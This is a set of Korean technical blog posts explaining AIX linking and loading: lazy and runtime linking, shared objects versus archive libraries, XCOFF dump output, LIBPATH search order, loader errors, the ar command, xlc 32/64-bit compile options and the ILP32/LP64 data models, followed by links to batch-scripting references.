2. lazy loading을 사용한다면 함수포인터를 비교하는 경우에 주의해야 한다. 보통 함수는 공유하는 주소영역을 가지므로 함수 포인터를 비교하여 동일한 함수를 참조하고 있는지 알아낼 수 있다. 그러나 모듈을 lazy loading하면 늦게 로드된 모듈의 함수주소는 다른 모듈에서 계산한 결과와 달라질 수 있다. 함수 포인터를 비교하고 이에 영향을 받는 프로그램은 lazy loading을 사용하면 안 된다.

3. 모듈을 상대경로 값으로 로드하고 프로그램이 작업 디렉토리를 바꾼 경우, 필요한 모듈을 찾지 못해서 로드하지 못할 수 있다. lazy loading을 사용하려면 링크할 때 필요한 모듈을 모두 절대경로로 지정해줘야 한다.


lazy loading을 사용할 지 여부는 링크시 결정하며 모듈에 따라 다르다. 한 개의 프로그램에서는 lazy loading을 사용하는 모듈과 lazy loading을 사용하지 않는 모듈을 섞어서 사용할 수 있다. 한 개의 모듈을 링크할 때 다른 모듈에 있는 변수를 참조한다면 이 모듈은 당연히 lazy loading이 안 된다. 만약 모듈에 대한 참조가 모두 함수호출에 관련된 참조라면, 이 모듈은 모두 lazy loading이 가능하다.


3) Runtime Linking

 AIX 디폴트 링킹”에서 설명했듯 AIX에서 디폴트, 정적, lazy loading 링킹 방법을 사용하여 실행파일을 만들면 링크할 때 모든 심볼을 해석(resolve)한다. 미처 해석되지 못한 심볼은 일단 실행파일을 만들고 나면 다시 바인딩되지 않는다. 그러나 런타임 링킹에서는 링크할 때가 아니라 프로그램을 로드할 때 참조하는 심볼을 해석할 수 있도록 한다. 이 기능은 프로그램을 일단 시작한 다음 정의되지 않았거나 공유 모듈내의 연기되지 않은(non-deferred) 심볼을 해석할 수 있도록 한다. 그리고 런타임 정의( ex)프로그램을 링크할 때 미처 함수 정의를 알지 못한 경우)와 심볼 재바인딩 기능을 제공한다. 예를 들어 main()은 libfunc1.so의 func1()을 호출하고 다음 libfunc2.so의 func2()를 호출하는 경우를 생각해보자. libfunc1.so와 libfunc2.so는 런타임링킹을 지원한다고 할 때, main()에서 또 다른 func2()함수를 정의해서 사용하며, 원래의 libfunc2.so의 func2() 정의를 무시하도록 할 수 있다. 이때 주 어플리케이션도 런타임 링킹을 지원하도록 만들어야 한다. 필요한 모듈만 런타임 링킹 라이브러리로 링크하는 방법만으로는 충분하지 않다. 모듈뿐 아니라 어플리케이션 내 함수도 런타임 링킹이 가능해야 한다.


AIX에서는 런타임 링킹을 사용한다고 하더라도, 연기된(deferred) 심볼을 제외한 모든 심볼은 프로그램을 로드할 때 해석해야 한다. 그러나 다른 UNIX OS에서는 함수심볼 해석을 실제 함수를 호출할 때까지 연기하는 경우가 있다.(변수참조는 로드할 때 해석된다.) 이 경우 심볼을 참조하는 모듈이 로드된 다음 함수정의가 로드된다.


런타임 링킹을 사용하려면 다음 사항을 알고 있어야 한다.

1. 런타임 링킹을 사용하려면 -brtl 옵션으로 런타임 링크 라이브러리(/usr/lib/librtl.a)를 지정해줘야 한다. -brtl 옵션과 -blazy 옵션은 함께 사용할 수 없다.

2. 오직 런타임 링킹 공유 오브젝트만 런타임 링킹시킬 수 있다. 런타임 공유 오브젝트가 아닌 오브젝트와 아카이브 멤버는 디폴트 링크 방식으로 링크해야 한다.

3. 런타임 링킹 공유 오브젝트는 주요 코드와 링크시키기 이전에 미리 만들어 놓아야 한다. 

4. 런타임 링킹 공유 오브젝트는 libname.so와 같은 파일이름을 사용해야 한다. 이런 방식의 이름을 사용해야 런타임 링킹 공유 오브젝트와 다른 파일을 구분하기 쉽고, 명령행에서 파일이름을 지정하기 쉽다.


런타임 링킹을 사용하면 개발자는 모듈간 상관성에 관한 사항이나 반입/반출 목록에 신경 쓰지 않아도 된다. -bexpall 링커 옵션을 사용하면 모든 공유 오브젝트는 모든 심볼을 반출하고, 모듈간의 상관관계를 해석하기 위해 런타임 링커를 사용하게 된다.


반응형
반응형

genkld명령은 이미 시스템 메모리에 올라간 공유 오브젝트를 보는데 사용한다.

다음의 genkld8결과에서 이 테스트 시스템의 시스템 전역 메모리(system global memory)에 libc.a 로부터 세 개의 공유 오브젝트 모듈이 올라와 있음을 알 수 있다.


$ genkld | grep 'libc.a'

d2023070     1df           /usr/lib/libc.a/dl.o

d012cd7a    1da          /usr/lib/libc.a/pse.o

d01cfbe0     1e6257     /usr/lib/libc.a/shr.o


위의 예제에서 libc.a의 shr.o만 필요하지만 나머지 두개의 파일은 다른 프로그램에서 필요하기 때문에 올라와 있다.

다른 UNIX OS는 공유 라이브러리 (동적 링킹 라이브러리 혹은 DLL-dynamic link library 라고도 한다)가 실제로 공유 오브젝트인 반면 AIX는 한 개의 라이브러리 안에 여러 개의 공유 오브젝트를 포함할 수 있는 점이 AIX와 다른 UNIX OS와의 큰 차이점이라고 할 수 있다.


공유 라이브러리와 공유 오브젝트라는 용어는 다른 UNIX OS에서는 같은 의미로 사용할 수 있지만 AIX에서는 서로 다른 의미가 된다.


공유 오브젝트

 공유 오브젝트는 XCOFF 헤더에 SHROBJ 플랙이 설정된 한 개의 오브젝트 파일이다. 

AIX에서 공유 오브젝트는 보통 name.o 형식의 이름을 갖는데 AIX에서는 일반적으로 공유 오브젝트에 대해 다른 UNIX에서 사용하는 .so 확장자를 사용하지 않는다. 이 이름은 컴파일러에서 디폴트로 만드는 파일이름의 확장자이다.


공유 라이브러리

 공유 라이브러리는 ar포맷으로 아카이브된 라이브러리 파일인 ar 명령으로 만든 파일을 말한다.

그 라이브러리 파일은 멤버로 하나 이상의 공유 오브젝트를 가진다. 그러나 아카이브 멤버로 공유 오브젝트 외에도 일반적인 비공유 오브젝트 파일도 있으며 이 파일은 링커에서 일반적인 방법으로 처리하게 된다. AIX에서 공유 라이브러리는 libname.a와 같은 형식의 이름이 된다.


링커는 파일이 올바른 오브젝트 파일인지 아닌지 알아보기 위해 파일의 매직넘버를 사용한다. 따라서 .o를 확장자로 하지 않는 파일을 공유 오브젝트로 사용할 수 있다.(물론 사용자가 헛갈릴 위험이 있다) 그러나 라이브러리는 반드시 libname.a과 같은 형식의 이름을 사용해야 하며 이렇게 하지 않으면 링커가 -l 옵션으로 지정한 라이브러리를 찾지 못한다.


AIX상에서 공유 오브젝트와 정적 오브젝트의 차이점에 대해서 알아보자.

AIX의 링킹/로딩 메커니즘에서는 공유 오브젝트와 정적 오브젝트를 사용하기 위해 AIX만의 파일이름형식을 사용하게 된다. 대부분의 UNIX OS에서 공유 오브젝트 파일은 “.so”확장자(shared object를 의미한다)를 사용하고 정적 오브젝트 파일은 “.o”확장자(object를 의미한다)를 사용한다.


그러나 AIX에서는 파일이 공유 오브젝트인지 정적 오브젝트인지에 관계없이 “.o”를 사용한다. 따라서 AIX에서는 단순히 확장자만 보고 이 파일이 공유 오브젝트 파일인지 정적 오브젝트 파일인지 구분할 수 없다. (AIX에서도 다른 UNIX OS처럼 파일확장자가 “so”인 공유 오브젝트를 지원하며 이 파일은 실시간 링킹에 사용된다.)


오브젝트 파일이 공유 오브젝트인지 정적 오브젝트인지 구분하려면 dump 명령을 사용해야 한다. dump 명령 뒤 Flags 줄에 SHROBJ 키워드가 나오는데 이 경우 이 오브젝트 파일은 공유 오브젝트이고 이 키워드가 안 나오면 정적 오브젝트이다.


$ dump -ov shr.o

shr.o:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

5 0x00251764 26925 72 0x3002

Flags=( EXEC DYNLOAD SHROBJ )

Timestamp = "Feb 03 08:59:14 2003"

Magic = 0x1df (32-bit XCOFF)


라이브러리의 아카이브 멤버가 공유 오브젝트인지 정적 오브젝트인지 알아보려면 dump 명령과 함께 -g 옵션(dump명령에서 -g 옵션을 사용하면 지정한 라이브러리에서 아카이브 멤버를 검사한다)을 사용해야 한다. 


예를 들어 예제 2-4에서 frexp.o 아카이브 멤버는 정적 오브젝트인 반면 /usr/lib/libc.a 의 shr.o는 공유 오브젝트이다.


$ dump -gov /usr/lib/libc.a

/usr/lib/libc.a[frexp.o]:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

3 0x0000030c 34 28 0x0000

Flags=( )

Timestamp = "Sep 15 16:12:35 2002"

Magic = 0x1df (32-bit XCOFF)


/usr/lib/libc.a[shr.o]:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

5 0x00250c0c 26913 72 0x3002

Flags=( EXEC DYNLOAD SHROBJ )

Timestamp = "Sep 19 00:14:43 2002"

Magic = 0x1df (32-bit XCOFF)



------------------------------------------------------------------------------------------------------------------


AIX에서는 링크할 때 심볼 해석을 하게 되며 프로그램 로드 시에 다시 심볼 해석을 하지 않는다. 

실행파일을 생성하면 동일한 경로 정보를 이용하여 의존관계가 있는 공유 오브젝트와 라이브러리의 아카이브 멤버를 참조할 수 있어야 한다. 

만약 이렇게 안되면 실행파일을 수행할 수 없다.


그러나 의존 관계가 있는 공유 오브젝트와 라이브러리의 아카이브 멤버가 항상 같은 디렉토리에 있어야 하는 것은 아니다. 

만약 오브젝트나 관련된 멤버에게 경로정보를 따로 주지 않으면, 시스템 로더는 -L 링커 옵션에서 지정한 몇 개의 디렉토리를 자동으로 찾게 되어 있다. 다음 LIBPATH 환경변수에서 지정한 디렉토리를 찾고 디폴트 라이브러리 경로인 /usr/lib, /lib 를 찾는다.

이렇게 정해진 방식에 의해 움직이므로 모듈을 로드할 때 시스템 로더의 작업이 좀더 쉬워지고 속도도 개선될 수 있다.


경로정보는 PATH 칼럼에서 Index 0(첫번째) 다음에 보이는데, 이 PATH 칼럼은 연관성 있는 모듈에 대해서 optional path component라고 부른다.

공유 오브젝트나 라이브러리를 만들 때 그리고 실행파일을 만들 때 optional path component 값이 없는 편이 좋다.

연관성 있는 모듈을 찾을 때 엉뚱한 파일을 찾을 위험성이 있기 때문이다.


$ dump -H a.out

a.out:

.

.

.

***Import File Strings***

INDEX     PATH                                 BASE         MEMBER

0         /usr/lpp/xlopt:/usr/lib:/lib

1         /tmp                                     libc.a             shr.o


$ cp /usr/lib/libc.a /tmp

$ ls -l /tmp/libc.a

-r-x------ 1 k5 k5 6793964 Apr 18 15:35 /tmp/libc.a

$ chmod a+r /tmp/libc.a

$ ls -l /tmp/libc.a

-r-xr--r-- 1 k5 k5 6793964 Apr 18 15:35 /tmp/libc.a

$ xlc helloworld.c /tmp/libc.a


$ ./a.out

Hello World

$ rm -i /tmp/libc.a

rm: Remove /tmp/libc.a? y

$ ./a.out

exec(): 0509-036 Cannot load program ./a.out because of the following errors:

0509-150 Dependent module /tmp/libc.a(shr.o) could not be loaded.

0509-022 Cannot load module /tmp/libc.a(shr.o).

0509-026 System error: A file or directory in the path name does not exist.


만약 위 예제의 소스를 다음과 같이 다시 컴파일하면


$ xlc helloworld.c

아래에서는 libc.a에 대해 XCOFF 헤더에서 아무 PATH 정보도 가지지 않는다.

(링커가 호출하기 전 컴파일러 드라이버가 이미 디폴트로 -lc 를 추가한다.)

***Import File Strings***

INDEX     PATH                                 BASE         MEMBER

0         /usr/lpp/xlopt:/usr/lib:/lib

1                                                      libc.a             shr.o


libc.a 가 PATH에 아무 정보도 포함하고 있지 않기 때문에, 시스템 로더는 우선 실행파일의 XCOFF헤더첫번째 로더헤더 섹션 (Index 0)에 기록된 대로 /usr/lpp/xlopt:/usr/lib/:/lib 디렉토리에서 라이브러리를 찾는다.



따라서 프로그램에서 라이브러리를 참조하려고 한다면 직접 라이브러리 이름을 적어주는 것보다 링커 옵션인 -L과 -l 을 쓰는 편이 더 좋다.

예를 들어 /project/test/lib 의 라이브러리 libabc.a를 사용하려면 아래처럼 하면 된다.


$ xlc -o a.out main.c -labc -L/project/test/lib

링커는 참조할 공유 오브젝트나 라이브러리를 찾기 위해 여러 경로를 검색하게 되는데


/project/test/lib 디렉토리를 디폴트 라이브러리 디렉토리보다 더 우선 순위에 놓는다.

 이 경우 실행파일의 XCOFF헤더 중 로더 헤더 섹션의 첫번째 엔트리(Index 0)에 디렉토리 /project/test/lib 가 들어간다. 

공유 오브젝트와 라이브러리는 실행파일의 XCOFF 로더 헤더섹션에 다른 선택적 경로정보(optional path component)를 가지고 있으면 안 된다.


$ dump -H a.out

.

.

.

***Import File Strings***

INDEX     PATH                                                             BASE         MEMBER

0        /project/test/lib:/usr/lpp/xlopt:/usr/lib:/lib

1                                                                                  libc.a             shr.o


링커는 입력으로 두 가지 종류의 파일(오브젝트 파일과 라이브러리)을 받을 수 있다.

이 두 가지 파일은 링커명령으로 지정할 수 있으며 아래처럼 명령행에서 직접 사용할 수 있다.


1) 오브젝트 파일을 절대경로까지 함께 지정한다. 

 $ xlc -o a.out main.c /prod/obj/shr1.o

2) 오브젝트 파일을 상대경로로 지정한다.

xlc -o a.out main.c ../../prod/obj/shr1.o

3) 현제 디렉토리에 오브젝트 파일이 있다면 파일이름만 지정한다.  

$ ls main.c shr.o main.c shr.o 

$ xlc -o a.out main.c shr1.o


마지막 경우만 제외하고, 생성된 실행파일은 의존하는 공유 오브젝트가 있을 경우 공유 오브젝트 shr.o를 검색하는 추가탐색경로를 

XCOFF헤더에 두게 된다.


라이브러리를 절대경로까지 함께 지정한다. 

xlc -o a.out main.c /prod/lib/libabc.a

라이브러리를 상대경로로 지정한다. 

xlc -o a.out main.c ../../prod/lib/libabc.a

현재 디렉토리에 라이브러리 파일이 있다면 파일 이름만 지정한다.

$ ls 

main.c libabc.a libabc.a main.c

$ xlc -o a.out main.c libabc.a

-L이나 -l 옵션으로 라이브러리가 설치되어 있는 디렉토리를 지정한다. 

xlc -o a.out main.c -L/prod/lib -labc


마지막 두 경우를 제외하고, 생성된 실행파일은 의존하는 공유 라이브러리가 있을 경우 공유 라이브러리 libabc.a를 검색하는 추가탐색경로를 XCOFF헤더에 두게 된다. 링커옵션 -bnoipath는 결과 모듈에 파일경로 이름이 포함되지 않도록 한다. 디폴트 옵션은 -bipath이며, 파일경로에 관한 정보를 포함한다.


실행파일이 공유 오브젝트를 참조하거나 공유 아카이브 멤버를 포함하는 라이브러리를 참조할 때, 시스템 로더는 오브젝트와 아카이브 멤버를 찾기 위해 LIBPATH 환경변수에서 지정한 디렉토리를 검색한다. 링커는 공유 오브젝트 파일과 라이브러리를 찾기 위해 LIBPATH 값을 이용하지 않는다.



LIBPATH값이 정의되어 있다면, 시스템 로더는 모듈을 로드할 때 다음 과정을 따른다.

1. 실행파일의 XCOFF헤더의 첫번째(Index 0) 로더 헤더 섹션에 저장되어 있는 PATH정보 바로 앞에 LIBPATH에 정의되어 있는 텍스트 정보를 추가함

2. 1번에서 만들어진 디렉토리 순서에 따라 시스템 로더는 공유 오브젝트와 라이브러리를 찾게 된다.

root가 아닌 사용자가 setuid, setgid가 설정된 실행파일을 수행하면 실행파일의 헤더섹션에 기록되어 있는 디렉토리만 검색하고 LIBPATH값에 저장된 디렉토리 값은 무시한다. LIBPATH값을 지정해줘도 역시 이 값을 무시한다.


예를 들어 LIBPATH 환경변수를 다음처럼 정의한 다음 앞에 나왔던 프로그램을 수행해보자.


LIBPATH=/project/build/lib

이때 시스템 로더는 공유 오브젝트와 라이브러리를 다음과 같은 순서로 찾는다.

1. /project/build/lib

2. /project/test/lib

3. /usr/lpp/xlopt

4. /usr/lib

5. /lib


공유 오브젝트와 라이브러리는 XCOFF 로더 헤더 섹션에 LIBPATH 환경변수에서 지정한 추가 경로값 정보를 가지고 있으면 안 된다.


예를 들어 다음 상황을 가정해보자.

실행파일 a.out 을 만들기 위해 main.o와 공유 오브젝트 shr.o를 링크 시킨다.

shr.o와 main.o는 모두 현제 디렉토리에 있다.


이제 실행파일을 만들기 위해 shr.o 파일이름을 다음 두 가지 방법으로 지정해줄 수 있다.

1. xlc -o a.out main.o shr.o

2. xlc -o a.out main.o ./shr.o


첫번째 방법으로 만든 실행파일은 예제 2-7과 같이 shr.o에 대한 로더정보를 가지게 된다. 이 경우, 시스템 로더는 /usr/lpp/xlopt, /usr/lib, /lib 디렉토리에서 shr.o 파일을 찾는다. 만약 shr.o 파일이 이 세 디렉토리중 한 군데에라도 들어있다면 검색을 멈추고 LIBPATH 까지 가지 않는다. 만약 shr.o가 이 세 디렉토리외에 다른 디렉토리에 들어있다면, LIBPATH에 그 디렉토리값을 넣어줘야 한다.


예를 들어 shr.o가 현재 디렉토리에 있다면, LIBPATH 환경변수를 다음처럼 바꾼 다음 명령을 수행하자.

$ export LIBPATH=$PWD ;./a.out


만약 shr.o을 /project/lib 디렉토리로 옮기려 하면, 다음과 같은 명령을 수행하면 된다.

$ export LIBPATH=/project/lib ;./a.out


두번째 방법으로 생성한 실행 파일이라면, dump -H 의 결과가 제일 마지막 한줄이 달라진다.

***Import File Strings***

INDEX         PATH                                 BASE             MEMBER

0             /usr/lpp/xlopt:/usr/lib:/lib

1                                                          libc.a               shr.o

2 .                                                        shr.o


PATH 컬럼의 . 는 shr.o의 추가경로정보이며 앞의 경우와 큰 차이가 있다. 두 번째 방법으로 생성한 실행파일을 수행하면, 시스템 로더는 shr.o를 찾기 위해 LIBPATH도 참조하지 않고 첫번째(Index 0) 로더 헤더 섹션(이 예제에서는 /usr/lpp/xlopt:/usr/lib:/lib 디렉토리)도 찾지 않는다. 따라서 이 실행파일을 수행할 때는 현재 디렉토리에 shr.o가 항상 같이 있어야 한다.



반응형
반응형



실행파일을 수행할 때 시스템 로더가 공유 오브젝트를 찾지 못하면, 다음과 비슷한 에러메시지가 나올 것이다.


exec(): 0509-036 Cannot load program ex1 because of the following errors:

0509-022 Cannot load library libone.so.

0509-026 System error: A file or directory in the path name does not exist.


찾지 못한 오브젝트는 0509-022 에러메시지 부분에 나와 있다. find 명령을 사용해서 공유 오브젝트를 찾아보자. 

공유 오브젝트를 찾으면, 그 오브젝트가 위치하는 디렉토리를 LIBPATH 변수에 추가한 다음 어플리케이션을 다시 수행한다. 

또 그 오브젝트나 라이브러리가 읽기가능(read permission)인지 살펴보자.


시스템 로더가 지정한 공유 오브젝트는 찾았지만, 심볼을 해석할 수 없을 때에도 비슷한 에러 메시지가 보인다. 실행파일과 호환되지 않는 버전의 공유 오브젝트를 사용하면 이런 경우가 발생할 수 있다. 에러메시지는 다음과 비슷하다.


exec(): 0509-036 Cannot load program ./example because of the following errors:

0509-023 Symbol func1 in ex1 is not defined.

0509-026 System error: Cannot run a file that does not have a valid format.


해석하지 못한 심볼은 0509-023 메시지에서 알 수 있다. 이 심볼 이름을 우선 적어놓은 다음(여기에서는 func1) dump -Tv 명령을 사용하여 실행파일에서는 어느 공유 오브젝트에 이 심볼이 정의되어 있는 것으로 알고 있는지 알아보자.


# dump -Tv example | grep func1

[4] 0x00000000 undef IMP DS EXTref libone.a(shr1.o) func1


이 경우 실행파일은 func1 심볼이 공유 오브젝트 shr1.o에 있으며 shr1.o 파일은 libone.a 의 아카이브 멤버라고 알고 있다. 

이러한 정보를 이용하여 문제해결에 도움을 줄 수 있다.

반응형
반응형


우선 기본적으로 유닉스에서 정적 라이브러리를 만드는 방법은 간단하다.

ar 를 사용해서 생성하는데 이는 AIX 뿐만 아니라 모든 유닉스/리눅스가 동일할 것이다. 

단 ar 옵션의 차이는 있다.


아래와 같은 함수가 포함된 3개의 파일을 정적 라이브러리로 만들어서 실제 사용하는 부분까지 확인해보도록 하자.


파일 명 : f1.c

-------------------------------------------------------

#include<stdio.h>

int funcreturnzero()

{

return 0;

}

-------------------------------------------------------


파일 명 : f2.c

-------------------------------------------------------

#include<stdio.h>

void funcnewline()

{

printf("\n");

}

-------------------------------------------------------


파일 명 : f3.c

-------------------------------------------------------

#include<stdio.h>

int funcreturnone()

{

return 1;

}

-------------------------------------------------------


1) c 파일 오브젝트 파일로 컴파일

$ xlc -c f1.c f2.c f3.c 

$ ls

f1.o, f2.o, f3.o 


2) libtest.a 라이브러리로 세 개의 파일을 아카이브

$ ar -vq libtest.a f1.o f2.o f3.o

ar: 아카이브 파일 libtest.a을(를) 작성합니다.

q - f1.o

q - f2.o

q - f3.o

$ ls

f1.o, f2.o, f3.o libtest.a


3) 아카이브 내부 오브젝트 파일을 보려면 -t 옵션을 주면 되며 -v 옵션을 주면 상세 옵션이 추가적으로 표시된다.

$ ar -t libtest.a

f1.o

f2.o

f3.o

$ ar -v -t libtest.a

rw-r--r--   202/201      956  1월  9일 15:42 2014 f1.o

rw-r--r--   202/201     1125  1월  9일 15:42 2014 f2.o

rw-r--r--   202/201      953  1월  9일 15:42 2014 f3.o


만약 기존의 libtest.a 라이브러리가 없었다면 위 명령은 libtest.a 라이브러리를 새로 만들고 여기에 f1.o, f2.o, f3.o 오브젝트의 복사본을 넣는다. 

그러나 기존의 libtest.a 라이브러리가 이미 있었다면 이 명령은 라이브러리 내에 함수 정의나 변수가 겹치는지 검사하지 않은 채로 기존의 라이브러리 뒤에 오브젝트 파일을 추가한다. -v 옵션은 verbose 옵션이며 ar 명령이 진행되는 상태를 보여준다.


4) 아카이브에 새 오브젝트를 추가하러나 기존 멤버를 바꾸려면 -r 옵션을 사용하면 된다.

$ ar -v -r libtest.a f1.o f4.o


5) 바뀐 멤버를 갱신하려면 -r -u 옵션을 추가.

$ ar -v -r -u libtest.a f2.o 


6) 아카이브 내부 멤버 오브젝트를 추출하려면 -x 옵션.

$ ar -v -x libtest.a f1.o f3.o


7) 아카이브 내부 멤버 오브젝트를 제거하려면 -d 옵션.

$ ar -v -d libtest.a f2.o


단 해당 부분은 모두 정적 오브젝트에 해당한다. 
















반응형
반응형


해당 부분은 AIX 전용 컴파일러인 xlc와 xlc의 컴파일 옵션을 사용하여 컴파일 하는 방식에 대해 소개합니다.


정적/동적 라이브러리를 생성하기 전 오브젝트(.o) 파일을 먼저 생성해야 한다.

해당 오브젝트 파일을 생성할 때 해당 오브젝트가 32비트/64비트인지 결정해야 하는데 시스템에 기본적으로 설정되어 있는 OBJECT_MODE에 따라 컴파일 옵션을 입력하지 않았을 때 기본 적용되는 비트 숫자가 다르다. 만약 명시적으로 컴파일 비트 숫자를 기입하려면 아래를 참고.


-q64 : 64비트 컴파일 옵션

-q32 : 32비트 컴파일 옵션

-qarch : 64비트 서브옵션 지원


만약 일관성 없이 해당 부분이 미지정 된다면 다음의 우선순위로 비트가 결정된다.


1. OBJECT_MODE 환경변수

2. 환경설정 파일

3. 명령행 옵션


-qarch 옵션과 함께 사용할 때 이 옵션은 목표하는 아키텍쳐 용으로 기계어와 모드를 결정하게 되는데, -q32, -q64옵션은 -qarch 옵션보다 우선순위가 높다. 그리고 한 줄에 -q32와 -q64 옵션을 모두 써주면 최종적으로 써준 옵션에 따라 모드가 결정된다. -qarch=com 으로 하면 앞으로의 호환성을 위해 좀더 일반적인 기계어를 사용하고 이외에는 특정 아키텍쳐에 많이 의존하게 된다.


64bit 모드에서 -qarch=com 은 -qarch=ppc 와 동일하게 취급된다.


컴파일할 때마다 매번 모드를 일일이 지정해줘야 한다면 매우 귀찮은 작업이 될 것이다.

(예를 들어 링킹 단계에서 일일이 32bit와 64bit를 구분해줘야 한다고 해보자) 

만약 개발 중 오직 한가지 모드로만 컴파일한다면 OBJECT_MODE 환경변수를 디폴트 모드로 바꿔주면 된다. 

OBJECT_MODE 환경변수에 대입할 수 있는 값은 다음과 같다.


(unset) 32bit 오브젝트를 생성/사용한다.

32 32bit 오브젝트를 생성/사용한다.

64 64bit 오브젝트를 생성/사용한다.

32_64 32bit/64bit 오브젝트를 모두 허용한다.


컴파일러, 링커에서는 OBJECT_MODE=32_64 를 허용하지 않는다. 환경변수를 이와 같이 설정하면 다음과 같은 에러가 발생한다.

1501-254 OBJECT_MODE=32_64 is not a valid setting for the compiler.


OBJECT_MODE 환경변수를 사용하면 컴파일러나 링커뿐만 아니라 개발과정 중 필요한 다른 어플리케이션도 이 변수를 참고하는 경우가 있으므로 편리하게 사용할 수 있다.


단 디폴트 모드를 결정하기 위해 OBJECT_MODE를 사용하고 있는 것을 일반 사용자가 모르고 있다면 심각한 문제가 발생할 수 있다. 

예를 들어 OBJECT_MODE가 64bit로 설정되어 있을 때 사용자가 64bit로 설계되지 않은 프로그램을 컴파일한다면 자동으로 64bit 코드가 생긴다. 

따라서 컴파일하기 전 사용자는 반드시 OBJECT_MODE를 검사해야 하고 자기가 의도한 모드로 설정되어 있는지 확인해야 한다.


링커 ld는 디폴트로 -b32 옵션을 사용하며 32bit 링킹을 지원하고, -b64 옵션을 사용하면 64bit 링킹을 지원할 수 있다. 

컴파일러 드라이버는 기본적으로 -q32나 -q64 옵션을 보고 링킹 옵션을 결정하므로 특별히 링커 옵션을 따로 정해줄 필요는 없다.


다음 명령어는 오브젝트 파일을 다룰 때 사용 하며 디폴트로 오브젝트 파일을 32bit XCOFF(eXtended Common Object File Format)로 가정한다.


ar - 링커에서 사용하는 인덱스 처리된 라이브러리를 관리한다.

dump - 오브젝트 파일에서 선택한 영역을 덤프한다.

lorder - 오브젝트 라이브러리에서 멤버 파일의 가장 적당한 순서를 찾는다.

nm - 오브젝트 파일, 실행 파일, 오브젝트 파일 라이브러리에서 심볼에 대한 정보를 보여준다.

ranlib - 아카이브 라이브러리를 랜덤 라이브러리로 변환한다.

size - XCOFF 오브젝트 파일의 섹션 크기를 보여준다.

strip - 바인더와 심볼릭 디버그 프로그램에서 사용하는 정보를 제거해서 XCOFF 오브젝트 파일의 크기를 줄인다.


64bit XCOFF 오브젝트 포맷을 지원하기 위해 위 명령어에는 -X 옵션이 추가되었다. 

-X 옵션은 명령어가 검사할 오브젝트 파일의 타입을 지정하며 다음 값을 지정할 수 있다.


32 32bit 오브젝트 파일만을 처리한다.

64 64bit 오브젝트 파일만을 처리한다.


32_64 32bit / 64bit 오브젝트 파일을 모두 처리한다.

단 위 명령어는 모두 OBJECT_MODE 환경변수를 참고한다. 그러나 -X 옵션으로 지정한 값이 더 우선순위가 높다.

64bit 어플리케이션을 개발하기 전에 우선 그 어플리케이션에서 사용할 라이브러리도 역시 64bit인지 살펴보아야 한다. AIX에서 제공하는 대부분의 C/C++ 라이브러리는 하이브리드 모드 아카이브(32bit, 64bit 오브젝트가 모두 들어있다)지만 써드파티 제품인 경우에는 해당되지 않을 수 있다.


해당 파일이 몇 비트 오브젝트인지 확인하기 위해서는 file objecname.o 를 사용하면 확인할 수 있다.

64비트의 경우 출력부에 64-bit가 명시된다.


반응형
반응형

출처 : Developing_C_C++_Application_on_AIX_AIX_DIY(SE)


AIX에서는 2가지의 프로그래밍 모델을 제공한다.

- ILP32

- LP64


ILP32는 integer/long/pointer가 32bit임을 의미하며 AIX의 32bit 프로그래밍 환경을 사용하게 된다.

이는 32bit 주소 공간을 사용하는 것을 의미하며 이론적으로 4GB 까지 메모리 제한이 있다.


LP64는 long/pointer가 64bit임을 의미하며 AIX의 64bit 프로그래밍 환경을 사용하게 된다. 64bit 주소공간을 사용하게 되므로 참조할 수 있는 메모리는 4GB를 넘어가게 된다. 일반적으로 데이터 타입 크기와 얼라인먼트 차이를 제외하고, LP64는 ILP32모델 프로그래밍 모델을 지원하며 널리 사용되는 int 데이터 타입에 대해서는 소급하여 호환성을 유지하게 된다.


C/C++ 표준에 의하면 int, short는 적어도 16bit여야 하며 long은 적어도 int와 같거나 그 이상의 크기여야 하고 32bit보다는 작아야 한다. 이 표준은 LP64모델에도 적용된다.


sizeof(char) ≤ sizeof(short) ≤ sizeof(int) ≤ sizeof(long)


LP64 데이터 모델은 대부분의 주요 벤더의 UNIX기반 시스템에서 지원되는 사실상의 표준이다. 따라서 LP64 모델을 따르는 어플리케이션은 다른 벤더로 포팅하는 작업이 매우 쉽다.


다음 테이블 2-1은 AIX의 ILP32, LP64 모델에서 기본 C/C++ 데이터 타입에 해당하는 크기를 보여주고 있다. (단위 비트)



 데이터 타입

 IP32 

 LP64 

 char

 8

 8 

 short

 16 

 16

 int

 32 

 32

 long

 32 

 64

 long long

 64

 64

 pointer

 32 

 64 

 float

 32

 32

 double

 64 

 64

 long double 

 64/128 

 64/128


* long double의 크기는 -qlongdouble옵션이나 cc128, cc128_r 등 컴파일러 드라이버 이름에 128이 붙었는지의 여부로 결정된다.

반응형
반응형

출처 : Developing_C_C++_Application_on_AIX_AIX_DIY(SE)


64bit의 장점


 64bit로 개발하는 주요한 원인은 더 새롭고 빠른 64bit H/W1와 OS2의 성능을 이용할 수 있으며, 

복잡하고 메모리를 많이 이용하는 어플리케이션(데이터베이스, 과학계산 용 어플리케이션)에는 64bit가 유리하기 때문이다.

다음은 64bit환경에서 제공할 수 있는 장점이다.


- 64bit 어드레싱을 이용하므로 어플리케이션이 사용할 수 있는 주소공간은 4GB 이상이 된다.

- 가상주소공간이 커지므로 프로세스 데이터 공간도 커진다.

- 데이터 구조와 실행파일이 더 커진다.

- 표준 시스템 라이브러리 함수를 이용하여 더 큰 파일을 지원할 수 있다.

- 물리적 메모리양도 늘어나므로 시스템의 파일 캐시 크기도 늘어난다.

- 기계어 상에서 64bit 데이터를 사용할 수 있기 때문에 수학연산을 좀더 효과적으로 할 수 있으며 레지스터를 전체에 걸쳐 효과적으로 사용할수 있다.

- time_t, dev_t 등 시스템에서 사용하는 데이터 타입의 크기가 더 커진다.

- 메모리 공간이 커지므로 데이터를 디스크보다 메모리에 둘 수 있는 가능성이 높아져 I/O중심의 어플리케이션의 경우 성능이 급격히 개선될 수 있다.











반응형
반응형








batch 파일 작성을 위한 최고의 설명 사이트 모음

1. http://ss64.com/

2. http://www.dostips.com/DtTipsStringManipulation.php



commandline을 리턴 결과로 받아서 쓰는 방식 1 : http://www.tomshardware.com/forum/230090-45-windows-batch-file-output-program-variable


batch로 sleep 임의 구현 : http://hallang.tistory.com/248


참고 사이트 1 : 
http://cshap.tistory.com/entry/windows-%EB%B0%B0%EC%B9%98-%ED%8C%8C%EC%9D%BC-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95 

